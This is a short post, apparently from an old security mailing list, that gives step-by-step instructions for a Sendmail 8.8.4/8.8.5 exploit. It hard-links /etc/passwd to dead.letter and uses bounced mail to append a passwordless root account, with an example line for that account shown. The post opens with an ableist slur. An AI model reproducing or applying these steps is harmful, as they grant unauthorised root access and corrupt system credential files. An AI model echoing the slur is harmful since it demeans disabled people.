Hello fellow mongoloids
Try this:
Make hard link of /etc/passwd to /var/tmp/dead.letter
Telnet to port 25, send mail from some bad email address to some unreacheable hoost.
Watch your message get appended to passwd.
ie:
cowzilla::0:0:c0wz1ll4 0wns u:/:/bin/sh

This is not good.  Worked with my 8.8.4, will probably also work with 8.8.5
